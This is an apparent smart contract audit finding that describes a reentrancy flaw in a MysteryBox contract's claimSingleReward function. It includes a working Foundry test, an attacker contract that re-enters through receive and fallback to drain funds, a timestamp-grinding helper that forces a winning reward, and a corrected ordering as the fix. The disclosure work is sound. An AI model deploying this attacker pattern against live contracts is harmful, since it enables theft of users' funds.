Summary
The MysteryBox::claimSingleReward function does not comply with the CEI/FREI-PI principle, enabling any user with a non-zero value reward to drain the contract balance. This vulnerability arises because the function updates the rewardsOwned array only after making an external call to msg.sender.
Vulnerability Details
In the claimSingleReward function, the contract performs an external call to the user's address before updating their reward status. This can result in reentrancy attacks, allowing malicious users to exploit the function to claim rewards multiple times.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}
A malicious player, possessing a non-zero reward such as a "Bronze Coin," could implement a fallback or receive function to repeatedly call claimSingleReward, draining the contract balance in the process.
Impact
This vulnerability allows users to potentially drain the entire balance of the contract, leading to significant financial loss.
Proof of Concept
Users buy boxes.
An attacker sets up a contract with a fallback function that calls MysteryBox::claimSingleReward.
The attacker buys a box, opens it, and receives a non-zero reward. The MysteryBox::openBox function can be manipulated to ensure this reward.
The attacker calls MysteryBox::claimSingleReward from their contract, draining the contract balance.
Proof of Code
Add the following code to the TestMysteryBoxTest.t.sol file within the MysteryBoxTest contract:
function calculateWinTimestampValue(address addr) public view returns (uint256) {
uint256 value;
uint256 winTime = block.timestamp;
do {
winTime++;
value = uint256(keccak256(abi.encodePacked(winTime, addr))) % 100;
} while (value < 95);
return winTime;
}
function testReentrancyClaimSingleReward() public {
ReentrancyAttackerClaimSingleReward attacker = new ReentrancyAttackerClaimSingleReward(address(mysteryBox));
uint256 boxPrice = mysteryBox.boxPrice();
vm.deal(address(attacker), boxPrice);
uint256 winningTimestamp = calculateWinTimestampValue(address(attacker));
vm.warp(winningTimestamp);
uint256 startingContractBalance = address(mysteryBox).balance;
attacker.attack();
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(mysteryBox).balance;
uint256 rewardValue = attacker.rewardValue();
uint256 totalMysteryBoxValue = startingContractBalance + boxPrice;
uint256 numberOfDuplicates = totalMysteryBoxValue / rewardValue;
uint256 totalWithdrawnToAttacker = rewardValue * numberOfDuplicates;
assertEq(endingAttackerBalance, totalWithdrawnToAttacker);
assertEq(endingContractBalance, totalMysteryBoxValue - totalWithdrawnToAttacker);
}
Add the following code to the TestMysteryBoxTest.t.sol file:
contract ReentrancyAttackerClaimSingleReward {
MysteryBox public mysteryBox;
uint256 public boxPrice;
uint256 public rewardValue;
constructor (address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
boxPrice = mysteryBox.boxPrice();
}
function attack() external payable {
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
rewardValue = mysteryBox.getRewards()[0].value;
mysteryBox.claimSingleReward(0);
}
receive() external payable {
if (address(mysteryBox).balance > rewardValue) {
mysteryBox.claimSingleReward(0);
}
}
fallback() external payable {
if (address(mysteryBox).balance > rewardValue) {
mysteryBox.claimSingleReward(0);
}
}
}
Recommended Mitigation
To prevent this vulnerability, the MysteryBox::claimSingleReward function should update the rewardsOwned array before making any external calls, as shown below:
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
